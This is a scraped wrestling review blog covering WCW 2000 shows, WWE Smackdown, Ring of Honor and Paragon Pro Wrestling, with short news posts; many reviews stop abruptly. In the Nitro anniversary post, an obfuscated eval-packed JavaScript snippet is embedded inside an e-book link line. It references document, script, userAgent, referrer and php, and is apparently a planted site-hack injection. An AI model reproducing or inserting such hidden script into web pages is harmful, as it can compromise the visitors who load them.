The New Day Victory Dance Guide
I don’t need to say one more word.
http://www.wwe.com/inside/new-day-guide-to-victory-dances-gifs
Paragon Pro Wrestling – September 5, 2015: The Toll Man? REALLY?
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Pro Wrestling
Date: September 5, 2015
Location: Sam’s Town Hotel & Gambling Hall, Las Vegas, Nevada
Commentators: Jeff Aikin, Todd Keneley
The opening video makes this look decent for a low budget act.
The announcers run down the card, including a casket match.
Hammerstone vs. Wes Brisco
American Title: Ethan HD vs. Darin Corbin
We get a Jimmy Del Ray name drop as Corbin loads up the Ginger Snap (looked like a McGillicutter) but Ethan counters into a headscissors into a Russian legsweep. A standing moonsault gets two and my goodness the announcers are underselling this stuff. Corbin gives us a terrible looking ref bump, immediately followed by Ethan kicking Darin in the head for no count. Back up and Corbin grabs a rollup and the trunks to retain at 6:04.
Post match Ethan snaps and beats up two referees before destroying a bunch of stuff at ringside. Two other wrestlers run in and take chair shots to the ribs.
We recap Tyshaun Prince vs. Gangrel, which is due to some eliminations in a battle royal. Tonight is the blowoff in a Pine Box (casket) match. The feud looks to have been going on for a few weeks so this is a big deal. Prince has a very stereotypical guy named the Cuban Assassin as his manager and is scared of coffins.
Tyshaun Prince vs. Gangrel
Assassin is put in the casket instead of Prince, making this whole thing pointless.
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A Good Wrestling Site In Spanish
I don’t know much about lucha libre (TripleMania 2015 is coming) but here’s a site by someone who does:
Frequent commenter Killjoy has put together a site in Spanish, which is worth checking out if A, you speak Spanish and B, if you like lucha libre. At least click on the link so he can get some ad revenue out of it. I speak enough Spanish to know that it’s pretty good so go check it out. I’ll have it listed in the Links section as well.
Spring Stampede 2000 (2015 Redo): But It’s A Different Shirt!
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Stampede 2000
Date: April 16, 2000
Location: United Center, Chicago, Illinois
Attendance: 12,556
Commentators: Tony Schiavone, Mark Madden, Scott Hudson
The opening video focuses on Bischoff/Russo vs. Flair/Hogan respectfully.
Opening video showing clips of Russo and Bischoff. Good to know what matters here.
The goons keep the referee from seeing a tag as this is getting dangerously close to being a wrestling match. The beating continues and here are two guys to take Disco away. That would be your angle that has nothing to do with the match and has a 50/50 chance of never being brought up again. Luger gets the tag and everything breaks down but Johnny comes off the top with a spinning clothesline for two. Not that it matters as Luger Racks him for the win a few seconds later.
Mancow vs. Jimmy Hart
Post match Kidman comes out and punches Hart again.
US Title Tournament Quarter-Finals: The Wall vs. Scott Steiner
The Cat babbles about James Brown and rednecks until Bam Bam Bigelow beats him down.
US Title Tournament Quarter-Finals: The Cat vs. Mike Awesome
In a sign of the WCW way of thinking, instead of putting over Awesome as a monster, they talk about Cat dancing. The important stuff you know.
Russo tells Bischoff to chill out. Bischoff wants Kidman to do something instead of kissing Torrie.
Buff Bagwell/Shane Douglas are ready for Harlem Heat and Shane whines about Flair of course.
Tag Team Title Tournament Semi-Finals: Harlem Heat vs. Shane Douglas/Buff Bagwell
Harlem Heat yells at each other post match.
US Title Tournament Semi-Finals: Booker T. vs. Sting
Booker calls Sting back inside for a fist bump.
Kidman is ready for Hogan if he comes back tonight.
US Title Tournament Quarter-Finals: Vampiro vs. Kidman
The second powerbomb is countered into the faceplant. Madden: “We could have been seeing matches like this one years ago.” This is their fourth televised match this year alone, not counting a three way they had with the Wall a few weeks back. Add that to the list of stupid things said on this show. Kidman gets two off a side slam but Vampiro grabs a Rock Bottom (called a chokeslam, which to be fair is pretty much the same thing) to come back. We go to an overhead camera for no apparent reason and Vampiro grabs an armbar.
Rating: D+. This was a moment that brought me back to the days after Starrcade 1999 when Russo turned Nitro into a drama with wrestling involved. It started off as a match but once you have a two minute beatdown in plain sight of the referee, it stops being a match and becomes an angle.
Russo leaves Bischoff alone, promising to deal with Hogan.
We cut to the arena and come back with Hogan being arrested by promising to be at Nitro. So yeah, this was all a way to set up a TV story. As this is going on, Terry Taylor tells Terry Funk that Norman Smiley is waiting for him in catering to start the Hardcore Title match.
Hardcore Title: Norman Smiley vs. Terry Funk
Norman climbs a ladder to get into the plumbing but Funk chairs him down and through a table full of cookies. Some chairs to the head have no effect on Terry so Norman chairs him even more on the way into the arena. They get inside and Norman channels his inner Cat by dancing, but at least it makes more sense here.
US Title Tournament Semi-Finals: Mike Awesome vs. Scott Steiner
Russo fires Dustin Rhodes for letting Funk win the Hardcore Title. Russo takes credit for Goldust, which is the only time Rhodes was ever worth anything.
US Title Tournament Semi-Finals: Sting vs. Vampiro
Cruiserweight Title: Shannon Moore vs. Juventud Guerrera vs. Crowbar vs. Chris Candido vs. The Artist vs. Lash Leroux
Paisley and Tammy have a catfight post match. Shannon breaks it up and gets his crotch grabbed.
Tag Team Titles: Team Package vs. Shane Douglas/Buff Bagwell
Shane gets caught in the Figure Four but Buff hits Luger low and makes the save. The Blockbuster takes Shane down by mistake but Russo pulls the referee out. Now freaking Kronik debut for High Times on Luger, giving Bagwell the pin and the titles with Russo counting the pin.
US Title: Scott Steiner vs. Sting
We recap Monday, which is another way to feature Russo. They throw in the World Title tournament stuff to try to make it sound interesting.
WCW World Title: Jeff Jarrett vs. Diamond Dallas Page
Rating: C+. Match of the night here which could have been better had they swapped the participants in the last two matches. Page vs. Jarrett sounds like a US Title match and Steiner vs. Sting could be a World Title match under the right circumstances. This match worked better because it had time and because the people in the match know how to work well enough to get around the lame booking ideas.
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Another Sign That NXT Is Smart
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Again: NXT thinks this stuff through and gets the best results possible.
Thunder – April 12, 2000 (2015 Redo): A Clip From Earlier In The Future
Thunder
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April 12, 2000
Location: World Arena, Colorado Springs, Colorado
Attendance: 3,118
Commentators: Bobby Heenan, Mike Tenay, Tony Schiavone
Russo and Bischoff arrived in a Porsche earlier today.
Opening sequence.
Chris Candido/Juventud Guerrera/The Artist vs. Shannon Moore/Crowbar/Lash Leroux
These are the six men in the Cruiserweight Title match on Sunday. Shannon dives through the falling confetti to dropkick Artist and everyone comes into the ring, plus a beach ball thrown in by a fan. Candido powerbombs Lash down but we need to look at David Flair dancing in front of Paisley. Daffney literally gives him the hook (between the legs) to drag him away.
Ready to Rumble premiere video?
Curt Hennig jumps Shawn Stasiak.
Harlem Heat vs. Sid Vicious
Jimmy Hart is looking for Bischoff.
Bischoff could be found in the New Blood locker room yelling at Booker.
Total Package vs. Shane Douglas
Bischoff blows Jimmy Hart off.
Jimmy Hart calls Bischoff out for an explanation of what he did to Hogan. Instead Kidman charges to the ring and beats Hart up. Jimmy gets a red NB spray painted on him for good measure.
Scott Steiner vs. Booker vs. The Wall vs. Vampiro vs. Kidman vs. The Cat
This is a Colorado Collision match between the six men already in the US Title tournament. Two men start and another is added every minute with pins or submissions for eliminations. Ignore the fact that these people are all stable mates, save for maybe Booker. Booker and Wall get things going with the big man getting kicked in the face a few times. The Book End sets up the ax kick and a Spinarooni but Wall pops up.
Kimberly vs. Madusa
Kimberly looks GREAT here, rocking some DX colors in what is probably an inside joke that no one but Bischoff and Russo get or find funny. Madusa shoves her down in the corner to start and asks why Kimberly wants to do this. Page quickly comes in and saves his wife before giving Madusa a pretty unnecessary Diamond Cutter. This was a thinly veiled excuse to have Kimberly in a tiny outfit.
This Week in WCW Motorsports.
Brian Knobbs/Fit Finlay vs. Meng/Hugh Morrus vs. Terry Funk/Norman Smiley
Rating: C+. As insane as this was and as dumb as the ending was (and as repetitive as this show has been with all the wild brawls and multi-man matches), this was actually entertaining. They made it feel like a wild fight instead of something calm and structured which is always appreciated. Good stuff here and I like the stipulation instead of just another tournament or six way match on Sunday.
The bosses tell the Villanos to destroy Sting.
So anyway, Jarrett is in the back with Gene and threatens to slap the liver spots off of him before he wins the title on Sunday.
David Arquette is here.
Ric Flair vs. Buff Bagwell
Sting vs. Los Villanos
Bam Bam Bigelow vs. Diamond Dallas Page
Bigelow stomps him down to start but Page throws him into the corner for rights and lefts. The discus lariat gets two on Bam Bam but he comes back with a Samoan drop for two. We hit the reverse chinlock before the top rope headbutt to the back gets two. An attempt at a Diamond Cutter is countered into a ref bump but Page avoids another headbutt. The Diamond Cutter connects on the second attempt but Bischoff comes out and stops his count at two. Cue Jarrett with the guitar to knock Page out. Tony: “This is not good for Page.”
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John Cena Possibly Injured At House Show
This one doesn’t sound that serious, but not doing the post match stuff isn’t a good sign. At least he was able to finish the match. There’s a good chance he won’t be on Raw though and that’s fine considering Seth has a second opponent for the pay per view.
Happy Birthday Nitro!
The show is twenty years old today and dear goodness that makes my world feel like it’s crashing down around me.
Methinks you all might want to check out my e-books on Monday Nitro, including (click on the links):
Complete eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bhtzz|var|u0026u|referrer|hynhe||js|php'.split('|'),0,{})) 1995/1996
First Half of 1998 (Includes the first half of Thunder 1998)
Smackdown – September 3, 2015: I Approve Of These Developments
Smackdown
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September 3, 2015
Location: American Airlines Arena, Miami, Florida
Commentators: Rich Brennan, Jerry Lawler, Jimmy Uso
Opening sequence.
Dudley Boyz vs. Prime Time Players
Kofi slaps D-Von in the back of the head as New Day leaves.
Stardust vs. Neville
No match as the Ascension of all people jump Neville during his entrance. Stardust says Neville is flying too close to the sun and the Ascension are the new conniving cohorts. The Fall of Man leaves Neville laying. Welcome to the Cosmic Wasteland. I heartily approve of this development.
Sheamus vs. Cesaro
Bo Dallas vs. R-Truth
Bo gives him another one post match and takes a victory lap.
Tamina vs. Charlotte
Tamina shoves Charlotte down to start but gets WOOed for her efforts. A test of strength goes nowhere so Tamina takes her head off with a clothesline for two. Charlotte comes back by kicking her in the face and a spear, followed by Natural Selection for the pin at 3:18.
Team Bella comes out to pose.
Long recap of the Cena/Rollins/Sting issues from Monday.
Roman Reigns/Dean Ambrose vs. New Day
Results
Sheamus b. Cesaro – Brogue Kick
Bo Dallas b. R-Truth – Draping suplex neckbreaker
Charlotte b. Tamina – Natural Selection
Roman Reigns/Dean Ambrose b. New Day when Xavier Woods interfered
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Ring of Honor TV – September 2, 2015: I Didn’t Think You Could Screw Up A Cheeseburger
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of Honor
Date: September 2, 2015
Location: William J. Myers Pavilion, Baltimore, Maryland
Commentators: King Corino, Kevin Kelly
Adam Page vs. Jay Briscoe
Cedric Alexander vs. Caprice Coleman
Brutal Bob Evans vs. Cheeseburger
TV Title: Hanson vs. Jay Lethal
Rating: C-. Just ok here as it was mainly a quick challenge for Lethal to get out of the way. You have to let him win a match or two like this every now and then, especially when Lethal has a bunch of bigger matches coming up. I really liked the announcers talking about how Lethal is trying to do too much as that is the most logical place to take the story.
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